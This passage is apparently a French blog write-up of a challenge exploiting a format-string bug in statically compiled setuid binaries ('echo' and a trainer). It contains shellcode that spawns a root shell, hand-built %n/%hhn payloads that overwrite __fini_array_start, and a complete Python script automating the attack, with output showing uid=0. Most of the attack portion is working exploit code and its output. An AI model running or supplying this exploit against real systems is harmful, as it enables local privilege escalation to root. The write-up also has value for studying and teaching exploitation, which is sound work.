oj@hell:~$ export SHELLCODE=`perl -e 'print "\x90"x200 . "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
Le trainer a été concu pour afficher entre autres l'adresse de cette variable d'environnement :
oj@hell:~$ ./vuln AAAA%.000000000x%131\$.8xB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffbdc
shellcode addr=0xbffffddb
#start a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
AAAA13030302eB
#end  a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
Program terminated with success
Les adresses des variables ont à nouveau changé car le shellcode prend de la place dans la pile et provoque le décalage des adresses.
On retrouve cette fois argv[1] en position 130 sans padding :
oj@hell:~$ ./vuln AAAA%.000000000x%130\$.8x
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffbdc
shellcode addr=0xbffffddb
#start a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
AAAA141414141
#end  a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
Program terminated with success
Ici on peut écraser ptr2f par 0xbffffddb. Comme tout à l'heure on retire 4 octets soit au final 3221224919 octets à écrire.

Cette valeur plus grosse fait augmenter la longueur de notre chaîne d'un caractère par rapport à tout à l'heure. Pour corriger il faut retirer un octet de padding et remplacer à nouveau les valeurs. Comme on n'utilisait pas de padding on remplace juste .8x par nB.
Et contre toute attente :
oj@hell:~$ ./vuln $'\xdc\xfb\xff\xbf'%.3221224919x%130\$nB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffbdc
shellcode addr=0xbffffddb
#start a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
����1B
#end  a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
Segmentation fault
WTF !? Essayons d'écrire dans la variable a à la place du pointeur sur fonction afin d'obtenir un output :
oj@hell:~$ ./vuln $'\xd8\xfb\xff\xbf'%.3221224919x%130\$nB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffbdc
shellcode addr=0xbffffddb
#start a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
����1B
#end  a=5, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
Program terminated with success
Vraiment étrange : non seulement nous ne sommes pas parvenu à écraser la variable a mais en plus le printf n'a pas affiché grand chose à l'écran (alors que l'on devrait avoir une chaîne immense).
Si on remplace le premier 3 de %.3221224919x par un 0 alors le printf s'exécute bien :
oj@hell:~$ ./vuln $'\xd8\xfb\xff\xbf'%.0221224919x%130\$nB
terminated=0x804847c, secret=0x8048490, &ptr2f=0xbffffbdc
shellcode addr=0xbffffddb
#start a=1, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
--- snip ---00000001B
#end  a=221224923, b=2, c=3 - x=0xbffffbd8, y=0xbffffbd4, z=0xbffffbd0
Program terminated with success
Le bug ne vient pas de nous mais de printf qui a du mal à digérer la chaîne de format qui demande d'afficher beaucoup trop de caractères (ça demande beaucoup de mémoire et printf a ses limites de conception). Ça marchait très bien pour l'adresse de la fonction secret présente dans le segment de code mais l'adresse du shellcode sur la base de la pile est bien trop grande.

Heureusement il existe des formateurs qui permettent d'écrire un plus petit nombre d'octets (pas directement les 4 octets de l'adresse).
La contrepartie c'est que l'écriture devra être faite en plusieurs fois... On n'a rien sans rien :)

La section The length modifier de la page de manuel de printf nous renseigne sur deux options de format :
hh : A following integer conversion corresponds to a signed char or unsigned char argument, or a following n conversion corresponds to a pointer to a signed char argument.
h : A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds to a pointer to a short int argument.
En bref si on utilise %hn on va devoir écrire autant d'octets que la moitié de l'adresse du shellcode (on commencerait par la partie haute 0xbfff qui est inférieure) puis l'autre moitié (0xfddb).
Au lieu de mettre seulement une adresse en début d'argument on en mettrait deux (l'adresse de ptr2f puis l'adresse de ptr2f+2). Pour les écritures en mémoire on utiliserait les positions 130 et 131 avec %pos$hn.

Avec l'autre format (%hnn) on doit écrire en quatre fois : placer quatres adresses au début (prt2f, ptr2f+1, ptr2f+2, ptr2f+3) puis faire écrire des petites chaines pour chaque octet de l'adresse du shellcode.
C'est la méthode retenue pour la suite de l'article :)

Objectif de l'attaque

Attaquons nous enfin au binaire echo du challenge. Ici pas de pointeur de fonction à disposition pour nous faciliter la tache.
La méthode classique est alors de tenter d'écraser une adresse de DTORS ou de la GOT (voir le document de Gotfault).

Seulement le programme est compilé avec -static et on ne dispose pas de ces sections :'(
Heureusement on tombe sur un thread de StackOverflow.com faisant référence à __fini_array_start.
La section est bien présente dans le binaire :
oj@hell:~$ nm echo | grep fini_array_start
080c9614 t __fini_array_start
C'est donc à l'adresse 0x0080c9614 que l'on va tenter d'écrire l'adresse du shellcode qui doit nous faire passer root.

La règle de 16

Voici une particularité malheureusement peu citée dans les articles sur l'exploitations de chaines de format et qui est pourtant primordiale à connaître pour ne pas perdre des journées sur l'exploitation d'une faille de ce type.

Avec echo on retrouve le début de argv[1] à la position 117 (pos = 117). La longueur de la chaine de test passée est alors de 17 caractères (length = 17).
oj@hell:~$ ./echo AAAABBBB%117\$.8xZ
AAAABBBB41414141Z
Si on aggrandi notre chaine (length = 25) alors on ne trouve plus le début en position 117 (normal comme on a pu voir)
oj@hell:~$ ./echo AAAABBBBCCCCDDDD%117\$.8xZ
AAAABBBBCCCCDDDD43434343Z
Le début se trouve en position 115 :
oj@hell:~$ ./echo AAAABBBBCCCCDDDD%115\$.8xZ
AAAABBBBCCCCDDDD41414141Z
Mais en augmentant à nouveau la longueur (length = 33) le début de argv[1] est à nouveau en position 117 (hu ?) :
oj@hell:~$ ./echo AAAABBBBCCCCDDDD%117\$.8x%118\$.8xZ
AAAABBBBCCCCDDDD4141414142424242Z
Toujours en augmentant (length = 41), la chaine repasse en position 115 ^_^
oj@hell:~$ ./echo AAAABBBBCCCCDDDD%115\$.8x%116\$.8x%117\$.8xZ
AAAABBBBCCCCDDDD414141414242424243434343Z
Mais en prolongeant la chaine de 8 caractères (length = 49), la position de nos AAAA repasse à 117.
oj@hell:~$ ./echo AAAABBBBCCCCDDDD%117\$.8x%118\$.8x%119\$.8x%120\$.8xZ
AAAABBBBCCCCDDDD41414141424242424343434344444444Z
La réponse à cette énigme n'est cette fois pas dans la page de manuel de printf ni dans la bouche de l'Oracle dans Nethack mais dans la page de manuel de gcc :
-mpreferred-stack-boundary=num
Attempt to keep the stack boundary aligned to a 2 raised to num byte boundary. If -mpreferred-stack-boundary is not specified, the default is 4 (16 bytes or 128 bits).
C'est donc gcc qui aligne la pile sur 16 octets.
Le début de notre chaine était en position 117 pour les longueurs 17, 33 et 49. Or 17 + 16 = 33 et 33 + 16 = 49.
De même pour les positions 115 on a 25 + 16 = 41.

La morale de cette histoire ? Si vous agrandissez votre chaine de format lors d'une exploitation, arrondissez toujours la quantité de caractères supplémentaires à un multiple de 16. Le padding qui était présent au début doit aussi rester.

Pwning echo

Admettons maintenant que l'adresse du shellcode placé en mémoire est 0xbfffffd2.
On commence par mettre en début de buffer les adresses correspondantes à chaque octet de __fini_array_start (0x0080c9614), on aura donc déjà 16 (4*4) octets écrits.

Il faut ensuite placer une chaîne de format qui écrit 0xd2 - 16 = 194 octets puis utiliser le formateur %hhn pour écrire l'octet. Le second octet à écrire est 0xff. On utilisera donc %45x (0xff - 0xd2 = 45).
Le troisième octet à écrire est aussi 0xff. Par conséquent la bonne pratique consisterait à enchaîner directement avec un autre %hhn. Mon exploit final ne procède pas de la sorte : il préfère écrire 0x100 octets supplémentaires. Le format hhn caste ensuite la nouvelle valeur sur un octet ce qui revient à la même valeur que la précédente (ça simplifie mon algo).
Enfin il faut écrire 0xbf. 0xff étant supérieur on va écrire 192 octets (car 0x1bf - 0xff = 192). Comme expliqué à l'instant 0x1bf sera casté en 0xbf.

Je vous invite à lire le code de mon exploit qui automatise l'attaque et fonctionne aussi bien sur echo (le programme du challenge) que sur le trainer (du moment que les deux sont compilés en static) et potentiellement sur d'autres programmes du même type :)
L'adresse du shellcode est retrouvée en explorant la pile avec un format %pos$.8x:%s qui fonctionne pour tous les pointeurs trouvés en mémoire.
import subprocess
import sys
import os
import struct

if len(sys.argv) < 2:
    print "Usage {0} <binary>".format(sys.argv[0])
    sys.exit()

TARGET = sys.argv[1]
if not (TARGET.startswith("./") or TARGET.startswith("/")):
    TARGET = "./" + TARGET

# see http://www.shell-storm.org/shellcode/files/shellcode-399.php
SHELLCODE = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

# Putting shellcode in environment
os.putenv("SHELLCODE", SHELLCODE)

# Looking for __fini_array_start address
lines = subprocess.check_output(['nm', TARGET]).split("\n")
fini_array_start = 0
for  line in lines:
    if not line.startswith("0"):
        continue
    addr, otype, name = line.split()
    if name == "__fini_array_start":
        fini_array_start = int(addr, 16)
        break

if not fini_array_start:
    print "[!] Can't find __fini_array_start address"
    sys.exit()
print "[*] __fini_array_start is at", hex(fini_array_start)


def just(i):
    return str(i).rjust(3, "0")

offset = 0

# Looking for shellcode in memory process using format string
for padding in xrange(0, 4):
    for i in xrange(500):
        try:
            output = subprocess.check_output([TARGET, '%{0}$.8x:%{0}$s'.format(just(i)) + "." * padding])
            if "SHELLCODE=" in output:
                for line in output.split("\n"):
                    if "SHELLCODE=" in line:
                        offset = int(line.split(":")[0], 16) + 10
                        print "[*] Shellcode is at address", hex(offset), "in process memory"
                        break
        except subprocess.CalledProcessError:
            continue
    if offset:
        break

if not offset:
    print "[!] Can't find shellcode in process memory"
    sys.exit()

addresses = struct.pack("I", fini_array_start)
addresses += struct.pack("I", fini_array_start + 1)
addresses += struct.pack("I", fini_array_start + 2)
addresses += struct.pack("I", fini_array_start + 3)

def split_addr(n):
    result = []
    n1 = n & 0xFF
    n2 = (n >> 8) & 0xFF
    n3 = (n >> 16) & 0xFF
    n4 = (n >> 24) & 0xFF
    while n1 <= 16:
        n1 += 0x100
    result.append(n1 - 16)
    while n2 <= n1:
        n2 += 0x100
    result.append(n2 - n1)
    while n3 <= n2:
        n3 += 0x100
    result.append(n3 - n2)
    while n4 <= n3:
        n4 += 0x100
    result.append(n4 - n3)
    return result


found = False
arg = ""

# Looking for correct args positions and padding
for padding in xrange(0, 4):
    for i in xrange(500):
        arg = "AAAABBBBCCCCDDDD%008x%{0}$.8x%008x%{1}$.8x%008x%{2}$.8x%008x%{3}$.8x012345678912".format(just(i), just(i+1), just(i+2), just(i+3)) + "Z" * padding
        try:
            output = subprocess.check_output([TARGET, arg])
        except subprocess.CalledProcessError:
            continue
        if '41414141' in output and '42424242' in output and '43434343' in output and '44444444' in output:
            print "[*] Buffer starts at offset #", i, "with", padding, "bytes of padding"
            print "[*] String used is:", arg, 'length =', len(arg)
            print "[*] ===== output ====="
            print output
            print "[*] =================="

            # Generating evil format string
            values = split_addr(offset)
            arg  = addresses
            arg += "%{0}c%{1}$hhn%{2}c%{3}$hhn%{4}c%{5}$hhn%{6}c%{7}$hhn012345678912".format(just(values[0]), just(i), just(values[1]), just(i+1), just(values[2]), just(i+2), just(values[3]), just(i+3))
            arg += "Z" * padding
            found = True
            break
    if found:
        break

# Launching binary with the final payload
if found:
    print "[*] Exploiting with format string", repr(arg)
    subprocess.call([TARGET, arg])
Ce qui donne pour echo :
oj@hell:~$ python automatic.py ./echo 
[*] __fini_array_start is at 0x80c9614
[*] Shellcode is at address 0xbfffffd2L in process memory
[*] Buffer starts at offset # 115 with 3 bytes of padding
[*] String used is: AAAABBBBCCCCDDDD%008x%115$.8x%008x%116$.8x%008x%117$.8x%008x%118$.8x012345678912ZZZ length = 83
[*] ===== output =====
AAAABBBBCCCCDDDD080488c041414141bffffc88424242420000000043434343080488c044444444012345678912ZZZ
[*] ==================
[*] Exploiting with format string '\x14\x96\x0c\x08\x15\x96\x0c\x08\x16\x96\x0c\x08\x17\x96\x0c\x08%194c%115$hhn%045c%116$hhn%256c%117$hhn%192c%118$hhn012345678912ZZZ'
# id
uid=0(root) gid=1005(oj) groups=0(root),1005(oj)
et pour le trainer (si compilé en static) :
oj@hell:~$ python automatic.py ./vuln
[*] __fini_array_start is at 0x80c9aa0
[*] Shellcode is at address 0xbfffffd2L in process memory
[*] Buffer starts at offset # 127 with 3 bytes of padding
[*] String used is: AAAABBBBCCCCDDDD%008x%127$.8x%008x%128$.8x%008x%129$.8x%008x%130$.8x012345678912ZZZ length = 83
[*] ===== output =====
terminated=0x8048254, secret=0x8048268, &ptr2f=0xbffffc6c
shellcode addr=0xbfffffd2
#start a=1, b=2, c=3 - x=0xbffffc68, y=0xbffffc64, z=0xbffffc60
AAAABBBBCCCCDDDD000000014141414100000002424242420000000343434343bffffc6844444444012345678912ZZZ
#end  a=1, b=2, c=3 - x=0xbffffc68, y=0xbffffc64, z=0xbffffc60
Program terminated with success


[*] ==================
[*] Exploiting with format string '\xa0\x9a\x0c\x08\xa1\x9a\x0c\x08\xa2\x9a\x0c\x08\xa3\x9a\x0c\x08%194c%127$hhn%045c%128$hhn%256c%129$hhn%192c%130$hhn012345678912ZZZ'
terminated=0x8048254, secret=0x8048268, &ptr2f=0xbffffc6c
shellcode addr=0xbfffffd2
#start a=1, b=2, c=3 - x=0xbffffc68, y=0xbffffc64, z=0xbffffc60
��
 ��
  ��
   ��
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               h012345678912ZZZ
#end  a=1, b=2, c=3 - x=0xbffffc68, y=0xbffffc64, z=0xbffffc60
Program terminated with success

# id
uid=0(root) gid=1005(oj) groups=0(root),1005(oj)

NB: Finalement pour l'exploit final j'utilise %c et non %x pour l'écriture car j'ai remarqué que %x écrivait parfois plus d'octets qu'attendu :-/

Classé dans : Non classé - Mots clés : aucun

Les commentaires sont fermés.